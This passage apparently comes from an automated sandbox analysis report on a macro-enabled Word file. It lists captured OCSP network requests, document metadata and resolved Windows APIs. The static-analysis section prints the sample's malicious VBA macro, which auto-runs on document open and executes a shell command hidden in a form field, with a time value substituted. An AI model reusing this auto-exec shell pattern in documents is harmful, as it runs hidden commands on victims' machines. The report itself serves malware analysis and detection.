  1361. "count": 1,
  1362. "body": "",
  1363. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  1364. "user-agent": "Microsoft-CryptoAPI/6.1",
  1365. "method": "GET",
  1366. "host": "ocsp.digicert.com",
  1367. "version": "1.1",
  1368. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  1369. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nCache-Control: max-age = 135176\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 05:30:18 GMT\r\nIf-None-Match: \"5cecc76a-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1370. "port": 80
  1371. },
  1372. {
  1373. "count": 1,
  1374. "body": "",
  1375. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  1376. "user-agent": "Microsoft-CryptoAPI/6.1",
  1377. "method": "GET",
  1378. "host": "ocsp.digicert.com",
  1379. "version": "1.1",
  1380. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  1381. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 168744\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 15:00:08 GMT\r\nIf-None-Match: \"5ced4cf8-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1382. "port": 80
  1383. },
  1384. {
  1385. "count": 1,
  1386. "body": "",
  1387. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  1388. "user-agent": "Microsoft-CryptoAPI/6.1",
  1389. "method": "GET",
  1390. "host": "ocsp.digicert.com",
  1391. "version": "1.1",
  1392. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  1393. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D HTTP/1.1\r\nCache-Control: max-age = 126990\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 10:41:16 GMT\r\nIf-None-Match: \"5c960d4c-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1394. "port": 80
  1395. },
  1396. {
  1397. "count": 1,
  1398. "body": "",
  1399. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  1400. "user-agent": "Microsoft-CryptoAPI/6.1",
  1401. "method": "GET",
  1402. "host": "ocsp.digicert.com",
  1403. "version": "1.1",
  1404. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  1405. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D HTTP/1.1\r\nCache-Control: max-age = 93156\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 04:40:45 GMT\r\nIf-None-Match: \"5c8c7e4d-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1406. "port": 80
  1407. }
  1408. ]
  1409.  
  1410. [*] Network Communication - SMTP: []
  1411.  
  1412. [*] Network Communication - Hosts: []
  1413.  
  1414. [*] Network Communication - IRC: []
  1415.  
  1416. [*] Static Analysis: {
  1417. "office": {
  1418. "Macro": {
  1419. "Code": {
  1420. "Macro1": [
  1421. [
  1422. "ThisDocument.cls",
  1423. "Sub document_open()\nDim time\ntime = Format(Now + TimeSerial(0, 0, 37), \"hh:mm\")\n\n\nShell Replace(UserForm1.TextBox1.Text, \"11:11\", time)\nEnd Sub"
  1424. ]
  1425. ]
  1426. },
  1427. "Analysis": {
  1428. "Suspicious": [
  1429. [
  1430. "Shell",
  1431. "May run an executable file or a system command"
  1432. ]
  1433. ],
  1434. "AutoExec": [
  1435. [
  1436. "Document_Open",
  1437. "Runs when the Word document is opened"
  1438. ]
  1439. ]
  1440. }
  1441. },
  1442. "Metadata": {
  1443. "SummaryInformation": {
  1444. "num_words": "0",
  1445. "num_pages": "1",
  1446. "last_saved_by": "1",
  1447. "creating_application": "Microsoft Office Word",
  1448. "author": "Microsoft Office",
  1449. "revision_number": "12",
  1450. "codepage": "1251",
  1451. "title": "",
  1452. "comments": "",
  1453. "num_chars": "1",
  1454. "total_edit_time": "22440",
  1455. "create_time": "None",
  1456. "template": "Normal.dotm",
  1457. "last_printed": "None",
  1458. "keywords": "",
  1459. "security": "0",
  1460. "last_saved_time": "None",
  1461. "thumbnail": "None",
  1462. "subject": ""
  1463. },
  1464. "DocumentSummaryInformation": {
  1465. "codepage_doc": "1251",
  1466. "chars_with_spaces": "1",
  1467. "shared_doc": "False",
  1468. "paragraphs": "1",
  1469. "hidden_slides": "None",
  1470. "mm_clips": "None",
  1471. "category": "None",
  1472. "presentation_target": "None",
  1473. "hlinks_changed": "False",
  1474. "scale_crop": "False",
  1475. "version": "1048576",
  1476. "hlinks": "None",
  1477. "link_base": "None",
  1478. "company": "Microsoft Corporation",
  1479. "unused": "None",
  1480. "dig_sig": "None",
  1481. "content_type": "None",
  1482. "heading_pairs": "None",
  1483. "slides": "None",
  1484. "links_dirty": "False",
  1485. "language": "None",
  1486. "notes": "None",
  1487. "bytes": "None",
  1488. "manager": "None",
  1489. "content_status": "None",
  1490. "doc_version": "None",
  1491. "titles_of_parts": "None",
  1492. "lines": "1"
  1493. },
  1494. "HasMacros": "Yes",
  1495. "DocumentType": "Word Document"
  1496. }
  1497. }
  1498. }
  1499.  
  1500. [*] Resolved APIs: [
  1501. "mso.dll.#1443",
  1502. "mso.dll.#9214",
  1503. "mso.dll.#199",
  1504. "mso.dll.#1073",
  1505. "mso.dll.#4255",
  1506. "mso.dll.#6588",
  1507. "msi.dll.#111",
  1508. "mso.dll.#5889",
  1509. "mso.dll.#2422",
  1510. "mso.dll.#5735",
  1511. "mso.dll.#5002",
  1512. "gkword.dll.FValidateWordFile",
  1513. "gkword.dll.GkInitHost",
  1514. "mso.dll.#2739",
  1515. "mso.dll.#3459",
  1516. "mso.dll.#5709",
  1517. "mso.dll.#6333",
  1518. "mso.dll.#420",
  1519. "mso.dll.#408",
  1520. "mso.dll.#2714",
  1521. "mso.dll.#8622",
  1522. "mso.dll.#3380",
  1523. "mso.dll.#4208",
  1524. "mso.dll.#8980",
  1525. "mso.dll.#1006",
  1526. "mso.dll.#8218",
  1527. "mso.dll.#135",
  1528. "mso.dll.#8046",
  1529. "mso.dll.#1262",
  1530. "mso.dll.#3043",
  1531. "bcryptprimitives.dll.GetHashInterface",
  1532. "cryptnet.dll.CertDllVerifyRevocation",
  1533. "sechost.dll.ConvertSidToStringSidW",
  1534. "profapi.dll.#104",
  1535. "sensapi.dll.IsNetworkAlive",
  1536. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1537. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1538. "rpcrt4.dll.NdrClientCall2",
  1539. "winhttp.dll.WinHttpOpen",
  1540. "winhttp.dll.WinHttpSetTimeouts",
  1541. "winhttp.dll.WinHttpSetOption",
  1542. "winhttp.dll.WinHttpCrackUrl",
  1543. "winhttp.dll.WinHttpConnect",
  1544. "winhttp.dll.WinHttpOpenRequest",
  1545. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  1546. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  1547. "winhttp.dll.WinHttpSendRequest",
  1548. "mso.dll.#8931",
  1549. "shell32.dll.SHGetFileInfoW",
  1550. "mso.dll.#5362",
  1551. "mso.dll.#6044",
  1552. "mso.dll.#6516",
  1553. "mso.dll.#6221",
  1554. "mso.dll.#5780",
  1555. "mso.dll.#4870",
  1556. "mso.dll.#6046",
  1557. "mso.dll.#1241",
  1558. "mso.dll.#2821",
  1559. "mso.dll.#2340",
  1560. "mso.dll.#7287",
  1561. "mso.dll.#5290",
  1562. "mso.dll.#1508",
  1563. "user32.dll.IsZoomed",
  1564. "user32.dll.GetWindowPlacement",
  1565. "user32.dll.GetWindowRect",
  1566. "mso.dll.#821",
  1567. "user32.dll.GetSystemMetrics",
  1568. "user32.dll.MonitorFromWindow",
  1569. "user32.dll.MonitorFromRect",
  1570. "user32.dll.MonitorFromPoint",
  1571. "user32.dll.EnumDisplayMonitors",
  1572. "user32.dll.GetMonitorInfoA",
  1573. "user32.dll.EnumDisplayDevicesA",
  1574. "mso.dll.#2378",
  1575. "user32.dll.SetWindowPos",
  1576. "user32.dll.AdjustWindowRect",
  1577. "mso.dll.#5912",
  1578. "mso.dll.#9719",
  1579. "mso.dll.#8824",
  1580. "mso.dll.#6117",
  1581. "mso.dll.#3307",
  1582. "user32.dll.SendMessageW",
  1583. "user32.dll.DestroyIcon",
  1584. "mso.dll.#3813",
  1585. "mso.dll.#1815",
  1586. "user32.dll.PtInRect",
  1587. "mso.dll.#1613",
  1588. "user32.dll.SetWindowTextW",
  1589. "user32.dll.GetClassLongW",
  1590. "mso.dll.#8572",
  1591. "gdi32.dll.CreateDIBSection",
  1592. "gdi32.dll.CreateCompatibleDC",
  1593. "gdi32.dll.GetViewportOrgEx",
  1594. "gdi32.dll.SetViewportOrgEx",
  1595. "gdi32.dll.SetBkColor",
  1596. "gdi32.dll.ExtTextOutA",
  1597. "mso.dll.#1573",
  1598. "gdi32.dll.DeleteDC",
  1599. "mso.dll.#8612",
  1600. "user32.dll.SetScrollRange",
  1601. "mso.dll.#2509",
  1602. "user32.dll.BeginDeferWindowPos",
  1603. "user32.dll.DeferWindowPos",
  1604. "user32.dll.EndDeferWindowPos",
  1605. "user32.dll.OffsetRect",
  1606. "user32.dll.EnumChildWindows",
  1607. "user32.dll.GetScrollInfo",
  1608. "user32.dll.MapWindowPoints",
  1609. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  1610. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  1611. "mso.dll.#6126",
  1612. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  1613. "gdi32.dll.GetFontRealizationInfo",
  1614. "gdi32.dll.GetFontFileInfo",
  1615. "gdi32.dll.GetFontFileData",
  1616. "mso.dll.#7261",
  1617. "mso.dll.#9540",
  1618. "usp10.dll.ScriptGetFontScriptTags",
  1619. "usp10.dll.ScriptGetFontLanguageTags",
  1620. "usp10.dll.ScriptGetFontFeatureTags",
  1621. "msptls.dll.?LsGetObjectName@Ptls6@@YG?AVLSNAMEEXP@1@PBVCLsDnode@1@@Z",
  1622. "msptls.dll.?LsdnFinishWordRegular@Ptls6@@YGJPAVCLsDnode@1@JPAUlsrun@1@PBUlschp@1@PAVCLsObject@1@PBUOBJDIM@1@HHH@Z",
  1623. "msptls.dll.?LsdnSetRigidDup@Ptls6@@YGJPAVCLsDnode@1@J@Z",
  1624. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  1625. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  1626. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  1627. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  1628. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  1629. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  1630. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  1631. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  1632. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  1633. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  1634. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  1635. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  1636. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  1637. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  1638. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  1639. "mso.dll.#2566",
  1640. "mso.dll.#1429",
  1641. "mso.dll.#6502",
  1642. "uiautomationcore.dll.UiaClientsAreListening",
  1643. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  1644. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  1645. "user32.dll.SetRectEmpty",
  1646. "user32.dll.IntersectRect",
  1647. "user32.dll.InflateRect",
  1648. "mso.dll.#1100",
  1649. "mso.dll.#7047",
  1650. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  1651. "user32.dll.GetCursor",
  1652. "user32.dll.GetClientRect",
  1653. "user32.dll.SetScrollInfo",
  1654. "user32.dll.IsWindowEnabled",
  1655. "user32.dll.SetScrollPos",
  1656. "mso.dll.#3747",
  1657. "mso.dll.#5394",
  1658. "mso.dll.#331",
  1659. "mso.dll.#6829",
  1660. "mso.dll.#539",
  1661. "mso.dll.#4959",
  1662. "mso.dll.#6463",
  1663. "mso.dll.#4987",
  1664. "user32.dll.GetWindow",
  1665. "mso.dll.#7195",
  1666. "mso.dll.#7573",
  1667. "mso.dll.#445",
  1668. "user32.dll.GetCaretBlinkTime",
  1669. "user32.dll.CreateCaret",
  1670. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  1671. "user32.dll.DestroyCaret",
  1672. "user32.dll.GetCaretPos",
  1673. "user32.dll.SetCaretPos",
  1674. "mso.dll.#5932",
  1675. "mso.dll.#2071",
  1676. "mso.dll.#1024",
  1677. "mso.dll.#6245",
  1678. "mso.dll.#9041",
  1679. "mso.dll.#1767",
  1680. "mso.dll.#9369",
  1681. "mso.dll.#4617",
  1682. "user32.dll.FillRect",
  1683. "mso.dll.#343",
  1684. "mso.dll.#9636",
  1685. "mso.dll.#2022",
  1686. "mso.dll.#4750",
  1687. "mso.dll.#4577",
  1688. "mso.dll.#850",
  1689. "mso.dll.#1776",
  1690. "mso.dll.#9026",
  1691. "shell32.dll.SHAddToRecentDocs",
  1692. "mso.dll.#4497",
  1693. "mso.dll.#4647",
  1694. "mso.dll.#8926",
  1695. "mso.dll.#7212",
  1696. "mso.dll.#5407",
  1697. "mso.dll.#5152",
  1698. "mso.dll.#3327",
  1699. "mso.dll.#1335",
  1700. "mso.dll.#2041",
  1701. "mso.dll.#7834",
  1702. "mso.dll.#239",
  1703. "mso.dll.#6357",
  1704. "mso.dll.#7026",
  1705. "mso.dll.#1671",
  1706. "oleaut32.dll.#7",
  1707. "mso.dll.#8263",
  1708. "mso.dll.#9307",
  1709. "mso.dll.#1441",
  1710. "mso.dll.#9223",
  1711. "mso.dll.#6453",
  1712. "mso.dll.#8044",
  1713. "mso.dll.#3698",
  1714. "mso.dll.#8565",
  1715. "ole32.dll.PropVariantClear",
  1716. "oleaut32.dll.#9",
  1717. "mso.dll.#8373",
  1718. "mso.dll.#9741",
  1719. "mso.dll.#478",
  1720. "mso.dll.#479",
  1721. "mso.dll.#340",
  1722. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  1723. "bcrypt.dll.BCryptGetProperty",
  1724. "bcrypt.dll.BCryptCreateHash",
  1725. "bcrypt.dll.BCryptHashData",
  1726. "bcrypt.dll.BCryptFinishHash",
  1727. "bcrypt.dll.BCryptDestroyHash",
  1728. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  1729. "mso.dll.#8633",
  1730. "mso.dll.#5213",
  1731. "mso.dll.#6163",
  1732. "mso.dll.#552",
  1733. "mso.dll.#5630",
  1734. "mso.dll.#2513",
  1735. "mso.dll.#1607",
  1736. "mso.dll.#1638",
  1737. "mso.dll.#1725",
  1738. "user32.dll.RegisterWindowMessageW",
  1739. "advapi32.dll.RegDeleteTreeW",
  1740. "xmllite.dll.CreateXmlReader",
  1741. "advapi32.dll.RegQueryValueW",
  1742. "mso.dll.#4314",
  1743. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  1744. "apphelp.dll.ApphelpCheckShellObject",
  1745. "mso.dll.#6484",
  1746. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  1747. "advapi32.dll.RegOpenKeyW",
  1748. "mso.dll.#2183",
  1749. "mso.dll.#2161",
  1750. "vbe7.dll.DllVbeInit",
  1751. "msi.dll.MsiProvideQualifiedComponentA",
  1752. "msi.dll.MsiGetProductCodeA",
  1753. "msi.dll.MsiReinstallFeatureA",
  1754. "msi.dll.MsiProvideComponentA",
  1755. "kernel32.dll.HeapSetInformation",
  1756. "advapi32.dll.EventWrite",
  1757. "advapi32.dll.EventRegister",
  1758. "advapi32.dll.EventUnregister",
  1759. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  1760. "vbeui.dll._MsoVBADigSigCallDlg@20",
  1761. "vbeui.dll._MsoVbaInitSecurity@4",
  1762. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  1763. "ole32.dll.CoRevokeInitializeSpy",
  1764. "comctl32.dll.#388",
  1765. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  1766. "vbeui.dll._MsoFInitOffice@20",
  1767. "vbeui.dll._MsoUninitOffice@4",
  1768. "vbeui.dll._MsoFGetFontSettings@20",
  1769. "vbeui.dll._MsoRgchToRgwch@16",
  1770. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  1771. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  1772. "vbeui.dll._MsoFCreateControl@36",
  1773. "vbeui.dll._MsoFLongLoad@8",
  1774. "vbeui.dll._MsoFLongSave@8",
  1775. "vbeui.dll._MsoFGetTooltips@0",
  1776. "vbeui.dll._MsoFSetTooltips@4",
  1777. "vbeui.dll._MsoFLoadToolbarSet@24",
  1778. "vbeui.dll._MsoFCreateToolbarSet@28",
  1779. "vbeui.dll._MsoHpalOffice@0",
  1780. "vbeui.dll._MsoFWndProcNeeded@4",
  1781. "vbeui.dll._MsoFWndProc@24",
  1782. "vbeui.dll._MsoFCreateITFCHwnd@20",
  1783. "vbeui.dll._MsoDestroyITFC@4",
  1784. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  1785. "vbeui.dll._MsoFGetComponentManager@4",
  1786. "vbeui.dll._MsoMultiByteToWideChar@24",
  1787. "vbeui.dll._MsoWideCharToMultiByte@32",
  1788. "vbeui.dll._MsoHrRegisterAll@0",
  1789. "vbeui.dll._MsoFSetComponentManager@4",
  1790. "vbeui.dll._MsoFCreateStdComponentManager@20",
  1791. "vbeui.dll._MsoFHandledMessageNeeded@4",
  1792. "vbeui.dll._MsoPeekMessage@8",
  1793. "vbeui.dll._MsoFCreateIPref@28",
  1794. "vbeui.dll._MsoDestroyIPref@4",
  1795. "vbeui.dll._MsoChsFromLid@4",
  1796. "vbeui.dll._MsoCpgFromChs@4",
  1797. "vbeui.dll._MsoSetLocale@4",
  1798. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  1799. "vbeui.dll._MsoSetVbaInterfaces@8",
  1800. "vbeui.dll._MsoGetControlInstanceId@8",
  1801. "oleaut32.dll.SysFreeString",
  1802. "oleaut32.dll.LoadTypeLib",
  1803. "oleaut32.dll.RegisterTypeLib",
  1804. "oleaut32.dll.QueryPathOfRegTypeLib",
  1805. "oleaut32.dll.UnRegisterTypeLib",
  1806. "oleaut32.dll.OleTranslateColor",
  1807. "oleaut32.dll.OleCreateFontIndirect",
  1808. "oleaut32.dll.OleCreatePictureIndirect",
  1809. "oleaut32.dll.OleLoadPicture",
  1810. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  1811. "oleaut32.dll.OleCreatePropertyFrame",
  1812. "oleaut32.dll.OleIconToCursor",
  1813. "oleaut32.dll.LoadTypeLibEx",
  1814. "oleaut32.dll.OleLoadPictureEx",
  1815. "oleaut32.dll.DispCallFunc",
  1816. "oleaut32.dll.CreateTypeLib2",
  1817. "oleaut32.dll.VarDateFromUdate",
  1818. "oleaut32.dll.VarUdateFromDate",
  1819. "oleaut32.dll.GetAltMonthNames",
  1820. "oleaut32.dll.VarNumFromParseNum",
  1821. "oleaut32.dll.VarParseNumFromStr",
  1822. "oleaut32.dll.VarDecFromR4",
  1823. "oleaut32.dll.VarDecFromR8",
  1824. "oleaut32.dll.VarDecFromDate",
  1825. "oleaut32.dll.VarDecFromI4",
  1826. "oleaut32.dll.VarDecFromCy",
  1827. "oleaut32.dll.VarR4FromDec",
  1828. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  1829. "oleaut32.dll.GetRecordInfoFromGuids",
  1830. "oleaut32.dll.SafeArrayGetRecordInfo",
  1831. "oleaut32.dll.SafeArraySetRecordInfo",
  1832. "oleaut32.dll.SafeArrayGetIID",
  1833. "oleaut32.dll.SafeArraySetIID",
  1834. "oleaut32.dll.SafeArrayCopyData",
  1835. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  1836. "oleaut32.dll.SafeArrayCreateEx",
  1837. "oleaut32.dll.VarFormat",
  1838. "oleaut32.dll.VarFormatDateTime",
  1839. "oleaut32.dll.VarFormatNumber",
  1840. "oleaut32.dll.VarFormatPercent",
  1841. "oleaut32.dll.VarFormatCurrency",
  1842. "oleaut32.dll.VarWeekdayName",
  1843. "oleaut32.dll.VarMonthName",
  1844. "oleaut32.dll.VarAdd",
  1845. "oleaut32.dll.VarAnd",
  1846. "oleaut32.dll.VarCat",
  1847. "oleaut32.dll.VarDiv",
  1848. "oleaut32.dll.VarEqv",
  1849. "oleaut32.dll.VarIdiv",
  1850. "oleaut32.dll.VarImp",
  1851. "oleaut32.dll.VarMod",
  1852. "oleaut32.dll.VarMul",
  1853. "oleaut32.dll.VarOr",
  1854. "oleaut32.dll.VarPow",
  1855. "oleaut32.dll.VarSub",
  1856. "oleaut32.dll.VarXor",
  1857. "oleaut32.dll.VarAbs",
  1858. "oleaut32.dll.VarFix",
  1859. "oleaut32.dll.VarInt",
  1860. "oleaut32.dll.VarNeg",
  1861. "oleaut32.dll.VarNot",
  1862. "oleaut32.dll.VarRound",
  1863. "oleaut32.dll.VarCmp",
  1864. "oleaut32.dll.VarDecAdd",
  1865. "oleaut32.dll.VarDecCmp",
  1866. "oleaut32.dll.VarBstrCat",
  1867. "oleaut32.dll.VarCyMulI4",
  1868. "oleaut32.dll.VarBstrCmp",
  1869. "ole32.dll.CoCreateInstanceEx",
  1870. "ole32.dll.CLSIDFromProgIDEx",
  1871. "mso.dll.#5772",
  1872. "mso.dll.#9885",
  1873. "mso.dll.#4262",
  1874. "mso.dll.#8499",
  1875. "mso.dll.#5512",
  1876. "advapi32.dll.RegEnumKeyW",
  1877. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  1878. "mso.dll.#4909",
  1879. "mso.dll.#615",
  1880. "user32.dll.IsWindow",
  1881. "user32.dll.RedrawWindow",
  1882. "mso.dll.#8200",
  1883. "mso.dll.#382",
  1884. "mso.dll.#2025",
  1885. "winhttp.dll.WinHttpReceiveResponse",
  1886. "winhttp.dll.WinHttpQueryHeaders",
  1887. "user32.dll.RegisterPowerSettingNotification",
  1888. "powrprof.dll.PowerSettingRegisterNotification",
  1889. "user32.dll.GetWindowThreadProcessId",
  1890. "user32.dll.GetWindowTextW",
  1891. "shlwapi.dll.StrStrIW",
  1892. "winhttp.dll.WinHttpQueryDataAvailable",
  1893. "winhttp.dll.WinHttpReadData",
  1894. "winhttp.dll.WinHttpCloseHandle",
  1895. "winhttp.dll.WinHttpTimeFromSystemTime",
  1896. "cryptnet.dll.I_CryptNetGetConnectivity",
  1897. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  1898. "setupapi.dll.SetupIterateCabinetW",
  1899. "kernel32.dll.RegOpenKeyExW",
  1900. "kernel32.dll.RegCloseKey",
  1901. "cabinet.dll.#20",
  1902. "cabinet.dll.#22",
  1903. "devrtl.dll.DevRtlGetThreadLogToken",
  1904. "cryptsp.dll.CryptSetHashParam",
  1905. "sechost.dll.OpenSCManagerW",
  1906. "sechost.dll.OpenServiceW",
  1907. "sechost.dll.QueryServiceConfigA",
  1908. "sechost.dll.QueryServiceStatus",
  1909. "sechost.dll.CloseServiceHandle",
  1910. "rpcrt4.dll.RpcStringBindingComposeA",
  1911. "rpcrt4.dll.RpcBindingFromStringBindingA",
  1912. "rpcrt4.dll.RpcEpResolveBinding",
  1913. "sechost.dll.LookupAccountSidLocalW",
  1914. "rpcrt4.dll.RpcStringFreeA",
  1915. "rpcrt4.dll.RpcBindingFree",
  1916. "webservices.dll.WsResetHeap",
  1917. "webservices.dll.WsCloseServiceProxy",
  1918. "ws2_32.dll.#3",
  1919. "ncrypt.dll.SslDecrementProviderReferenceCount",
  1920. "webservices.dll.WsFreeServiceProxy",
  1921. "ncrypt.dll.SslFreeObject",
  1922. "oleaut32.dll.RegisterTypeLibForUser",
  1923. "mso.dll.#1256",
  1924. "comctl32.dll.ImageList_Destroy",
  1925. "comctl32.dll.ImageList_GetIconSize",
  1926. "comctl32.dll.InitCommonControls",
  1927. "comctl32.dll.ImageList_LoadImageA",
  1928. "comctl32.dll.ImageList_SetOverlayImage",
  1929. "comctl32.dll.ImageList_AddMasked",
  1930. "comctl32.dll.ImageList_GetImageInfo",
  1931. "comctl32.dll.ImageList_Draw",
  1932. "comctl32.dll.ImageList_DrawEx",
  1933. "comctl32.dll.PropertySheetA",
  1934. "comctl32.dll.DestroyPropertySheetPage",
  1935. "comctl32.dll.CreatePropertySheetPageA",
  1936. "user32.dll.GetSysColor",
  1937. "user32.dll.SystemParametersInfoA",
  1938. "user32.dll.GetDC",
  1939. "user32.dll.ReleaseDC",
  1940. "user32.dll.LoadCursorA",
  1941. "user32.dll.RegisterClipboardFormatA",
  1942. "user32.dll.RegisterWindowMessageA",
  1943. "kernel32.dll.QueryActCtxW",
  1944. "kernel32.dll.ActivateActCtx",
  1945. "kernel32.dll.FindActCtxSectionStringW",
  1946. "kernel32.dll.DeactivateActCtx",
  1947. "user32.dll.RegisterClassA",
  1948. "comctl32.dll.RegisterClassNameW",
  1949. "uxtheme.dll.OpenThemeData",
  1950. "uxtheme.dll.GetThemeColor",
